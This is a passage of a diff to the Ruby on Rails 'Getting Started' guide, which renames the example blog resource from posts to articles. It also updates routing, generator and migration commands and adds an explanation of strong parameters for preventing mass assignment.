+cursor again. For most UNIX-like systems including Mac OS X this will be a
+dollar sign `$`. In development mode, Rails does not generally require you to
+restart the server; changes you make in files will be automatically picked up by
+the server.
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
+The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
+makes sure that you have your software configured correctly enough to serve a
+page. You can also click on the _About your application's environment_ link to
+see a summary of your application's environment.
### Say "Hello", Rails
-To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a
+_view_.
-A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+A controller's purpose is to receive specific requests for the application.
+_Routing_ decides which controller receives which requests. Often, there is more
+than one route to each controller, and different routes can be served by
+different _actions_. Each action's purpose is to collect information to provide
+it to a view.
-A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+A view's purpose is to display this information in a human readable format. An
+important distinction to make is that it is the _controller_, not the view,
+where information is collected. The view should just display that information.
+By default, view templates are written in a language called eRuby (Embedded
+Ruby) which is processed by the request cycle in Rails before being sent to the
+user.
-To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+To create a new controller, you will need to run the "controller" generator and
+tell it you want a controller called "welcome" with an action called "index",
+just like this:
```bash
-$ rails generate controller welcome index
+$ bin/rails generate controller welcome index
```
Rails will create several files and a route for you.
```bash
create app/controllers/welcome_controller.rb
- route get "welcome/index"
+ route get 'welcome/index'
invoke erb
create app/views/welcome
create app/views/welcome/index.html.erb
@@ -196,8 +257,6 @@ invoke test_unit
create test/controllers/welcome_controller_test.rb
invoke helper
create app/helpers/welcome_helper.rb
-invoke test_unit
-create test/helpers/welcome_helper_test.rb
invoke assets
invoke coffee
create app/assets/javascripts/welcome.js.coffee
@@ -205,9 +264,13 @@ invoke scss
create app/assets/stylesheets/welcome.css.scss
```
-Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
+Most important of these are of course the controller, located at
+`app/controllers/welcome_controller.rb` and the view, located at
+`app/views/welcome/index.html.erb`.
-Open the `app/views/welcome/index.html.erb` file in your text editor and edit it to contain a single line of code:
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
+of the existing code in the file, and replace it with the following single line
+of code:
```html
<h1>Hello, Rails!</h1>
@@ -215,134 +278,230 @@ Open the `app/views/welcome/index.html.erb` file in your text editor and edit it
### Setting the Application Home Page
-Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot.
+Now that we have made the controller and view, we need to tell Rails when we
+want "Hello, Rails!" to show up. In our case, we want it to show up when we
+navigate to the root URL of our site, <http://localhost:3000>. At the moment,
+"Welcome aboard" is occupying that spot.
Next, you have to tell Rails where your actual home page is located.
Open the file `config/routes.rb` in your editor.
```ruby
-Blog::Application.routes.draw do
- get "welcome/index"
+Rails.application.routes.draw do
+ get 'welcome/index'
# The priority is based upon order of creation:
# first created -> highest priority.
- # ...
+ #
# You can have the root of your site routed with "root"
- # root to: "welcome#index"
+ # root 'welcome#index'
+ #
+ # ...
```
-This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following:
+This is your application's _routing file_ which holds entries in a special DSL
+(domain-specific language) that tells Rails how to connect incoming requests to
+controllers and actions. This file contains many sample routes on commented
+lines, and one of them actually shows you how to connect the root of your site
+to a specific controller and action. Find the line beginning with `root` and
+uncomment it. It should look something like the following:
```ruby
-root to: "welcome#index"
+root 'welcome#index'
```
-The `root to: "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
+`root 'welcome#index'` tells Rails to map requests to the root of the
+application to the welcome controller's index action and `get 'welcome/index'`
+tells Rails to map requests to <http://localhost:3000/welcome/index> to the
+welcome controller's index action. This was created earlier when you ran the
+controller generator (`rails generate controller welcome index`).
-If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
+Launch the web server again if you stopped it to generate the controller (`rails
+server`) and navigate to <http://localhost:3000> in your browser. You'll see the
+"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
+indicating that this new route is indeed going to `WelcomeController`'s `index`
+action and is rendering the view correctly.
TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
Getting Up and Running
----------------------
-Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+Now that you've seen how to create a controller, an action and a view, let's
+create something with a bit more substance.
-In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+In the Blog application, you will now create a new _resource_. A resource is the
+term used for a collection of similar objects, such as articles, people or
+animals.
+You can create, read, update and destroy items for a resource and these
+operations are referred to as _CRUD_ operations.
-In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+Rails provides a `resources` method which can be used to declare a standard REST
+resource. You need to add the _article resource_ to the
+`config/routes.rb` as follows:
-![The new post form](images/getting_started/new_post.png)
+```ruby
+Rails.application.routes.draw do
-It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+ resources :articles
-### Laying down the ground work
+ root 'welcome#index'
+end
+```
-The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now — by visiting <http://localhost:3000/posts/new> — Rails will give you a routing error:
+If you run `rake routes`, you'll see that it has defined routes for all the
+standard RESTful actions. The meaning of the prefix column (and other columns)
+will be seen later, but for now notice that Rails has inferred the
+singular form `article` and makes meaningful use of the distinction.
-![A routing error, no route matches /posts/new](images/getting_started/routing_error_no_route_matches.png)
+```bash
+$ bin/rake routes
+ Prefix Verb URI Pattern Controller#Action
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+edit_article GET /articles/:id/edit(.:format) articles#edit
+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
+```
-This is because there is nowhere inside the routes for the application — defined inside `config/routes.rb` — that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
+In the next section, you will add the ability to create new articles in your
+application and be able to view them. This is the "C" and the "R" from CRUD:
+creation and reading. The form for doing this will look like this:
- To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method:
+![The new article form](images/getting_started/new_article.png)
-```ruby
-get "posts/new"
-```
+It will look a little basic for now, but that's ok. We'll look at improving the
+styling for it afterwards.
-This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
+### Laying down the ground work
-With the route defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see another routing error:
+Firstly, you need a place within the application to create a new article. A
+great place for that would be at `/articles/new`. With the route already
+defined, requests can now be made to `/articles/new` in the application.
+Navigate to <http://localhost:3000/articles/new> and you'll see a routing
+error:
-![Another routing error, uninitialized constant PostsController](images/getting_started/routing_error_no_controller.png)
+![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
-This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called `PostsController`. You can do this by running this command:
+This error occurs because the route needs to have a controller defined in order
+to serve the request. The solution to this particular problem is simple: create
+a controller called `ArticlesController`. You can do this by running this
+command:
```bash
-$ rails g controller posts
+$ bin/rails g controller articles
```
-If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
+If you open up the newly generated `app/controllers/articles_controller.rb`
+you'll see a fairly empty controller:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
end
```
-A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+A controller is simply a class that is defined to inherit from
+`ApplicationController`.
+It's inside this class that you'll define methods that will become the actions
+for this controller. These actions will perform CRUD operations on the articles
+within our system.
+
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
-If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
+If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
-![Unknown action new for PostsController!](images/getting_started/unknown_action_new_for_posts.png)
+![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
-This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+This error indicates that Rails cannot find the `new` action inside the
+`ArticlesController` that you just generated. This is because when controllers
+are generated in Rails they are empty by default, unless you tell it
+your wanted actions during the generation process.
-To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
+To manually define an action inside a controller, all you need to do is to
+define a new method inside the controller. Open
+`app/controllers/articles_controller.rb` and inside the `ArticlesController`
+class, define a `new` method so that the controller now looks like this:
```ruby
-def new
+class ArticlesController < ApplicationController
+ def new
+ end
end
```
-With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error:
+With the `new` method defined in `ArticlesController`, if you refresh
+<http://localhost:3000/articles/new> you'll see another error:
-![Template is missing for posts/new](images/getting_started/template_is_missing_posts_new.png)
+![Template is missing for articles/new]
+(images/getting_started/template_is_missing_articles_new.png)
-You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+You're getting this error now because Rails expects plain actions like this one
+to have views associated with them to display their information. With no view
+available, Rails errors out.
-In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+In the above image, the bottom line has been truncated. Let's see what the full
+thing looks like:
-<blockquote>
-Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
-</blockquote>
+>Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
-That's quite a lot of text! Let's quickly go through and understand what each part of it does.
+That's quite a lot of text! Let's quickly go through and understand what each
+part of it does.
-The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
+The first part identifies what template is missing. In this case, it's the
+`articles/new` template. Rails will first look for this template. If not found,
+then it will attempt to load a template called `application/new`. It looks for
+one here because the `ArticlesController` inherits from `ApplicationController`.
-The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates.
+The next part of the message contains a hash. The `:locale` key in this hash
+simply indicates what spoken language template should be retrieved. By default,
+this is the English - or "en" - template. The next key, `:formats` specifies the
+format of template to be served in response. The default format is `:html`, and
+so Rails is looking for an HTML template. The final key, `:handlers`, is telling
+us what _template handlers_ could be used to render our template. `:erb` is most
+commonly used for HTML templates, `:builder` is used for XML templates, and
+`:coffee` uses CoffeeScript to build JavaScript templates.
-The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
+The final part of this message tells us where Rails has looked for the templates.
+Templates within a basic Rails application like this are kept in a single
+location, but in more complex applications it could be many different paths.
-The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application.
+The simplest template that would work in this case would be one located at
+`app/views/articles/new.html.erb`. The extension of this file name is key: the
+first extension is the _format_ of the template, and the second extension is the
+_handler_ that will be used. Rails is attempting to find a template called
+`articles/new` within `app/views` for the application. The format for this
+template can only be `html` and the handler must be one of `erb`, `builder` or
+`coffee`. Because you want to create a new HTML form, you will be using the `ERB`
+language. Therefore the file should be called `articles/new.html.erb` and needs
+to be located inside the `app/views` directory of the application.
-Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
+Go ahead now and create a new file at `app/views/articles/new.html.erb` and
+write this content in it:
```html
-<h1>New Post</h1>
+<h1>New Article</h1>
```
-When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+When you refresh <http://localhost:3000/articles/new> you'll now see that the
+page has a title. The route, controller, action and view are now working
+harmoniously! It's time to create the form for a new article.
### The first form
-To create a form within this template, you will use a <em>form
-builder</em>. The primary form builder for Rails is provided by a helper
-method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
+To create a form within this template, you will use a *form
+builder*. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into
+`app/views/articles/new.html.erb`:
```html+erb
-<%= form_for :post do |f| %>
+<%= form_for :article do |f| %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -359,46 +518,76 @@ method called `form_for`. To use this method, add this code into `app/views/post
<% end %>
```
-If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+If you refresh the page now, you'll see the exact same form as in the example.
+Building forms in Rails is really just that easy!
When you call `form_for`, you pass it an identifying object for this
-form. In this case, it's the symbol `:post`. This tells the `form_for`
+form. In this case, it's the symbol `:article`. This tells the `form_for`
helper what this form is for. Inside the block for this method, the
-`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
+`FormBuilder` object - represented by `f` - is used to build two labels and two
+text fields, one each for the title and text of an article. Finally, a call to
+`submit` on the `f` object will create a submit button for the form.
-There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+There's one problem with this form though. If you inspect the HTML that is
+generated, by viewing the source of the page, you will see that the `action`
+attribute for the form is pointing at `/articles/new`. This is a problem because
+this route goes to the very page that you're on right at the moment, and that
+route should only be used to display the form for a new article.
The form needs to use a different URL in order to go somewhere else.
This can be done quite simply with the `:url` option of `form_for`.
Typically in Rails, the action that is used for new form submissions
like this is called "create", and so the form should be pointed to that action.
-Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
+Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+this:
```html+erb
-<%= form_for :post, url: { action: :create } do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
```
-In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new":
+In this example, the `articles_path` helper is passed to the `:url` option.
+To see what Rails will do with this, we look back at the output of
+`rake routes`:
-```ruby
-post "posts" => "posts#create"
+```bash
+$ bin/rake routes
+ Prefix Verb URI Pattern Controller#Action
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+edit_article GET /articles/:id/edit(.:format) articles#edit
+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
```
-By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+The `articles_path` helper tells Rails to point the form to the URI Pattern
+associated with the `articles` prefix; and the form will (by default) send a
+`POST` request to that route. This is associated with the `create` action of
+the current controller, the `ArticlesController`.
-With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+With the form and its associated route defined, you will be able to fill in the
+form and then click the submit button to begin the process of creating a new
+article, so go ahead and do that. When you submit the form, you should see a
+familiar error:
-![Unknown action create for PostsController](images/getting_started/unknown_action_create_for_posts.png)
+![Unknown action create for ArticlesController]
+(images/getting_started/unknown_action_create_for_articles.png)
-You now need to create the `create` action within the `PostsController` for this to work.
+You now need to create the `create` action within the `ArticlesController` for
+this to work.
-### Creating posts
+### Creating articles
-To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
+To make the "Unknown action" go away, you can define a `create` action within
+the `ArticlesController` class in `app/controllers/articles_controller.rb`,
+underneath the `new` action, as shown:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
def new
end
@@ -407,70 +596,82 @@ class PostsController < ApplicationController
end
```
-If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
+If you re-submit the form now, you'll see another familiar error: a template is
+missing. That's ok, we can ignore that for now. What the `create` action should
+be doing is saving our new article to the database.
-When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
+When a form is submitted, the fields of the form are sent to Rails as
+_parameters_. These parameters can then be referenced inside the controller
+actions, typically to perform a particular task. To see what these parameters
+look like, change the `create` action to this:
```ruby
def create
- render text: params[:post].inspect
+ render plain: params[:article].inspect
end
```
-The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns a `HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+The `render` method here is taking a very simple hash with a key of `plain` and
+value of `params[:article].inspect`. The `params` method is the object which
+represents the parameters (or fields) coming in from the form. The `params`
+method returns an `ActiveSupport::HashWithIndifferentAccess` object, which
+allows you to access the keys of the hash using either strings or symbols. In
+this situation, the only parameters that matter are the ones from the form.
-If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com".
+
+If you re-submit the form one more time you'll now no longer get the missing
+template error. Instead, you'll see something that looks like the following:
```ruby
-{"title"=>"First post!", "text"=>"This is my first post."}
+{"title"=>"First article!", "text"=>"This is my first article."}
```
-This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+This action is now displaying the parameters for the article that are coming in
+from the form. However, this isn't really all that helpful. Yes, you can see the
+parameters but nothing in particular is being done with them.
-### Creating the Post model
+### Creating the Article model
-Models in Rails use a singular name, and their corresponding database tables use
-a plural name. Rails provides a generator for creating models, which
-most Rails developers tend to use when creating new models.
-To create the new model, run this command in your terminal:
+Models in Rails use a singular name, and their corresponding database tables
+use a plural name. Rails provides a generator for creating models, which most
+Rails developers tend to use when creating new models. To create the new model,
+run this command in your terminal:
```bash
-$ rails generate model Post title:string text:text
+$ bin/rails generate model Article title:string text:text
```
-With that command we told Rails that we want a `Post` model, together
+With that command we told Rails that we want a `Article` model, together
with a _title_ attribute of type string, and a _text_ attribute
-of type text. Those attributes are automatically added to the `posts`
-table in the database and mapped to the `Post` model.
+of type text. Those attributes are automatically added to the `articles`
+table in the database and mapped to the `Article` model.
-Rails responded by creating a bunch of files. For
-now, we're only interested in `app/models/post.rb` and
-`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
-different). The latter is responsible
-for creating the database structure, which is what we'll look at next.
+Rails responded by creating a bunch of files. For now, we're only interested
+in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb`
+(your name could be a bit different). The latter is responsible for creating
+the database structure, which is what we'll look at next.
-TIP: Active Record is smart enough to automatically map column names to
-model attributes, which means you don't have to declare attributes
-inside Rails models, as that will be done automatically by Active
-Record.
+TIP: Active Record is smart enough to automatically map column names to model
+attributes, which means you don't have to declare attributes inside Rails
+models, as that will be done automatically by Active Record.
### Running a Migration
-As we've just seen, `rails generate model` created a _database
-migration_ file inside the `db/migrate` directory.
-Migrations are Ruby classes that are designed to make it simple to
-create and modify database tables. Rails uses rake commands to run migrations,
-and it's possible to undo a migration after it's been applied to your database.
-Migration filenames include a timestamp to ensure that they're processed in the
-order that they were created.
+As we've just seen, `rails generate model` created a _database migration_ file
+inside the `db/migrate` directory. Migrations are Ruby classes that are
+designed to make it simple to create and modify database tables. Rails uses
+rake commands to run migrations, and it's possible to undo a migration after
+it's been applied to your database. Migration filenames include a timestamp to
+ensure that they're processed in the order that they were created.
-If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
+If you look in the `db/migrate/20140120191729_create_articles.rb` file (remember,
yours will have a slightly different name), here's what you'll find:
```ruby
-class CreatePosts < ActiveRecord::Migration
+class CreateArticles < ActiveRecord::Migration
def change
- create_table :posts do |t|
+ create_table :articles do |t|
t.string :title
t.text :text
@@ -480,30 +681,30 @@ class CreatePosts < ActiveRecord::Migration
end
```
-The above migration creates a method named `change` which will be called when you
-run this migration. The action defined in this method is also reversible, which
-means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it later. When you run this migration it will create a
-`posts` table with one string column and a text column. It also creates two
-timestamp fields to allow Rails to track post creation and update times.
+The above migration creates a method named `change` which will be called when
+you run this migration. The action defined in this method is also reversible,
+which means Rails knows how to reverse the change made by this migration,
+in case you want to reverse it later. When you run this migration it will create
+an `articles` table with one string column and a text column. It also creates
+two timestamp fields to allow Rails to track article creation and update times.
-TIP: For more information about migrations, refer to [Rails Database
-Migrations](migrations.html).
+TIP: For more information about migrations, refer to [Rails Database Migrations]
+(migrations.html).
At this point, you can use a rake command to run the migration:
```bash
-$ rake db:migrate
+$ bin/rake db:migrate
```
-Rails will execute this migration command and tell you it created the Posts
+Rails will execute this migration command and tell you it created the Articles
table.
```bash
-== CreatePosts: migrating ====================================================
--- create_table(:posts)
+== CreateArticles: migrating ==================================================
+-- create_table(:articles)
-> 0.0019s
-== CreatePosts: migrated (0.0020s) ===========================================
+== CreateArticles: migrated (0.0020s) =========================================
```
NOTE. Because you're working in the development environment by default, this
@@ -514,101 +715,183 @@ invoking the command: `rake db:migrate RAILS_ENV=production`.
### Saving data in the controller
-Back in `posts_controller`, we need to change the `create` action
-to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb`
-and change the `create` action to look like this:
+Back in `ArticlesController`, we need to change the `create` action
+to use the new `Article` model to save the data in the database.
+Open `app/controllers/articles_controller.rb` and change the `create` action to
+look like this:
```ruby
def create
- @post = Post.new(params[:post])
+ @article = Article.new(params[:article])
- @post.save
- redirect_to action: :show, id: @post.id
+ @article.save
+ redirect_to @article
end
```
Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
database columns. In the first line we do just that (remember that
-`params[:post]` contains the attributes we're interested in). Then,
-`@post.save` is responsible for saving the model in the database.
-Finally, we redirect the user to the `show` action,
-which we'll define later.
+`params[:article]` contains the attributes we're interested in). Then,
+`@article.save` is responsible for saving the model in the database. Finally,
+we redirect the user to the `show` action, which we'll define later.
+
+TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `\models\article.rb`. Class names in Ruby must begin with a capital letter.
+
+TIP: As we'll see later, `@article.save` returns a boolean indicating whether
+the article was saved or not.
-TIP: As we'll see later, `@post.save` returns a boolean indicating
-whether the model was saved or not.
+If you now go to <http://localhost:3000/articles/new> you'll *almost* be able
+to create an article. Try it! You should get an error that looks like this:
-### Showing Posts
+![Forbidden attributes for new article]
+(images/getting_started/forbidden_attributes_for_new_article.png)
-If you submit the form again now, Rails will complain about not finding
-the `show` action. That's not very useful though, so let's add the
-`show` action before proceeding. Open `config/routes.rb` and add the following route:
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters),
+which requires us to tell Rails exactly which parameters are allowed into our
+controller actions.
+
+Why do you have to bother? The ability to grab and automatically assign all
+controller parameters to your model in one shot makes the programmer's job
+easier, but this convenience also allows malicious use. What if a request to
+the server was crafted to look like a new article form submit but also included
+extra fields with values that violated your applications integrity? They would
+be 'mass assigned' into your model and then into the database along with the
+good stuff - potentially breaking your application or worse.
+
+We have to whitelist our controller parameters to prevent wrongful mass
+assignment. In this case, we want to both allow and require the `title` and
+`text` parameters for valid use of `create`. The syntax for this introduces
+`require` and `permit`. The change will involve one line in the `create` action:
```ruby
-get "posts/:id" => "posts#show"
+ @article = Article.new(params.require(:article).permit(:title, :text))
+```
+
+This is often factored out into its own method so it can be reused by multiple
+actions in the same controller, for example `create` and `update`. Above and
+beyond mass assignment issues, the method is often made `private` to make sure
+it can't be called outside its intended context. Here is the result:
+
+```ruby
+def create
+ @article = Article.new(article_params)
+
+ @article.save
+ redirect_to @article
+end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
+```
+
+TIP: For more information, refer to the reference above and
+[this blog article about Strong Parameters]
+(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+
+### Showing Articles
+
+If you submit the form again now, Rails will complain about not finding the
+`show` action. That's not very useful though, so let's add the `show` action
+before proceeding.
+
+As we have seen in the output of `rake routes`, the route for `show` action is
+as follows:
+
+```
+article GET /articles/:id(.:format) articles#show
```
The special syntax `:id` tells rails that this route expects an `:id`
-parameter, which in our case will be the id of the post. Note that this
-time we had to specify the actual mapping, `posts#show` because
-otherwise Rails would not know which action to render.
+parameter, which in our case will be the id of the article.
As we did before, we need to add the `show` action in
-`app/controllers/posts_controller.rb` and its respective view.
+`app/controllers/articles_controller.rb` and its respective view.
+
+NOTE: A frequent practice is to place the standard CRUD actions in each
+controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update`
+and `destroy`. You may use any order you choose, but keep in mind that these
+are public methods; as mentioned earlier in this guide, they must be placed
+before any private or protected method in the controller in order to work.
+
+Given that, let's add the `show` action, as follows:
```ruby
-def show
- @post = Post.find(params[:id])
-end
+class ArticlesController < ApplicationController
+ def show
+ @article = Article.find(params[:id])
+ end
+
+ def new
+ end
+
+ # snipped for brevity
```
-A couple of things to note. We use `Post.find` to find the post we're
-interested in. We also use an instance variable (prefixed by `@`) to
-hold a reference to the post object. We do this because Rails will pass all instance
+A couple of things to note. We use `Article.find` to find the article we're
+interested in, passing in `params[:id]` to get the `:id` parameter from the
+request. We also use an instance variable (prefixed with `@`) to hold a
+reference to the article object. We do this because Rails will pass all instance
variables to the view.
-Now, create a new file `app/view/posts/show.html.erb` with the following
+Now, create a new file `app/views/articles/show.html.erb` with the following
content:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
```
-Finally, if you now go to
-<http://localhost:3000/posts/new> you'll
-be able to create a post. Try it!
+With this change, you should finally be able to create new articles.
+Visit <http://localhost:3000/articles/new> and give it a try!
-![Show action for posts](images/getting_started/show_action_for_posts.png)
+![Show action for articles](images/getting_started/show_action_for_articles.png)
-### Listing all posts
+### Listing all articles
-We still need a way to list all our posts, so let's do that. As usual,
-we'll need a route placed into `config/routes.rb`:
+We still need a way to list all our articles, so let's do that.
+The route for this as per output of `rake routes` is:
-```ruby
-get "posts" => "posts#index"
+```
+articles GET /articles(.:format) articles#index
```
-And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
+Add the corresponding `index` action for that route inside the
+`ArticlesController` in the `app/controllers/articles_controller.rb` file.
+When we write an `index` action, the usual practice is to place it as the
+first method in the controller. Let's do it:
```ruby
-def index
- @posts = Post.all
-end
+class ArticlesController < ApplicationController
+ def index
+ @articles = Article.all
+ end
+
+ def show
+ @article = Article.find(params[:id])
+ end
+
+ def new
+ end
+
+ # snipped for brevity
```
-And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+And then finally, add the view for this action, located at
+`app/views/articles/index.html.erb`:
```html+erb
-<h1>Listing posts</h1>
+<h1>Listing articles</h1>
<table>
<tr>
@@ -616,154 +899,174 @@ And then finally a view for this action, located at `app/views/posts/index.html.
<th>Text</th>
</tr>
